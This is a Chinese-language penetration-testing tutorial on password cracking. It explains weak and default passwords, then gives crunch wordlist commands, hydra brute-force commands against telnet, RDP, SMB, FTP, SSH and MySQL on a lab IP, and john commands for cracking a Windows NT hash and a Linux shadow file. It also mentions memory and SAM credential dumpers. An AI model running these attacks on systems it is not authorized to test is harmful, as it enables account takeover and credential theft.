口令破解

现在很多地方都以用户名(账号)和口令(密码)作为鉴权的方式,口令(密码)就意味着访问权限.例如网站后台,数据库,服务器,个人电脑,QQ,邮箱等等.

口令安全现状

  • 弱口令:类似于123456,654321,admin123 等这样常见的弱密码
  • 默认口令:很多应用或者系统都存在默认口令.比如phpstudy 的mysql 数据库默认账密[root/root],Tomcat 管理控制台默认账密[tomcat/tomcat]等
  • 明文传输:比如HTTP|FTP|TELNET 等服务,在网络中传输的数据流都是明文的,包括口令认证信息等.这样的服务,有被嗅探的风险

暴力破解

暴力破解就是利用所有可能得字符组密码,去尝试破解.这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码.

字符集 密码位数 密码空间
[0-9] 8位 \(10^{8}=100000000\)
[0-9][a-z] 8位 \(36^{8}=2821109907456\)

字典破解

如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅降低爆破的成本.我们把筛选出的密码组合成特定的字典.在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码.

  • 弱口令字典:比如123456,admin 等这样的默认口令或弱口令
  • 社工字典:人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合"名字+生日"
  • 字符集字典:如果能确定密码的字符集合,也将大大降低爆破的成本

相关工具介绍

crunch

Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件.使用Crunch工具生成的密码可以输出到屏幕,保存到文件,或另一个程序.由其在渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重要的作用.crunch为kali自带的工具.以下命令均在kali下直接运行

#命令格式
crunch <min-len> <max-len> [<charset string>] [options]

参数说明

  • min-len : 设定最小字符串长度(必选)
  • max-len : 设定最大字符串长度(必选)
  • charset string : 字符集
特殊字符 说明
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字母
  • oprions : 可选参数
参数 说明
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/usr/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-l 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
  • 示例命令
#生成1-8位密码字典,字符集合为小写字母,从a 开始到zzzzzzzz 结束
crunch 1 8

#生成1-6 位的密码字典,字符集合为[abcdefg],从a 开始到gggggg 结束
crunch 1 6 abcdefg

#生成指定字符串,比如生日的日期
crunch 8 8 -t 199307%% -e 19930731

#生成元素的组合,比如123.com
crunch 7 7 -t %%%.com -s 111.com -e 123.com

#以元素组合生成字典
crunch 0 0 -p ajest 1992 0701

#保存字典文件
crunch 11 11 -t 1700010%%%% -b 20kb -o START

#使用自定义字符集合生成[*.com] 字典文件
crunch 5 5  -f /usr/share/crunch/charset.lst numeric -t @.com

hydra

hydra是一个自动化的在线爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到KaliLinux中

20190709203533740.png

#使用用户名密码手动测试一次
Hydra -l administrator -p 123 10.0.0.3 telnet

#使用指定用户名和密码字典进行暴力破解telnet
Hydra -l administrator -P ~/password.txt 10.0.0.3 telnet

#使用指定用户名和密码字典进行暴力破解rdp
Hydra -l administrator -P ~/password.txt 10.0.0.3 rdp

#使用指定用户名和密码字典进行暴力破解smb
Hydra -l administrator -P ~/password.txt 10.0.0.3 smb

#使用指定用户名和密码字典进行暴力破解ftp
Hydra -l administrator -P ~/password.txt 10.0.0.3 ftp

#使用指定用户名和密码字典进行暴力破解ssh
Hydra -l administrator -P ~/password.txt 10.0.0.3 ssh

#使用指定用户名和密码字典进行暴力破解mysql
Hydra -l administrator -P ~/password.txt 10.0.0.3 mysql

#使用指定用户名字典和密码字典进行暴力破解telnet
Hydra -L ~\username.txt -P ~/password.txt 10.0.0.3 telnet

john

ohn the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES,MD4,MD5等.它支持多种不同类型的系统架构,包括Unix,Linux,Windows,DOS模式,BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码

windows账户hash值破解

  • 获取到的hash值
Administrator:500:NO PASSWORD*********************:AE5017306252D85B5711427C1916D51D:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
  • 破解hash值
#破解hash值
john hash.txt --format=NT --wordlist=winPass.dic
#查看破解结果
john hash.txt --show --format=NT

QQ截图20201211142313.png

linux本地shadow文件破解

#破解shadow
john shadow --wordlist=linuxPass.dic --format=sha512crypt
#查看破解结果
john shadow --show

Getpass

  • 一键直接获取当前 windows 系统在内存中的明文密码,支持win7,server 2008以下系统
  • GetPass.rar

Pwdump

Pwdump提取sam中的HASH值并保存

4564665a362c80338a64cb7ba1ca0712.png

7a1ebd543992fdb60be0d7b7aedef92b.png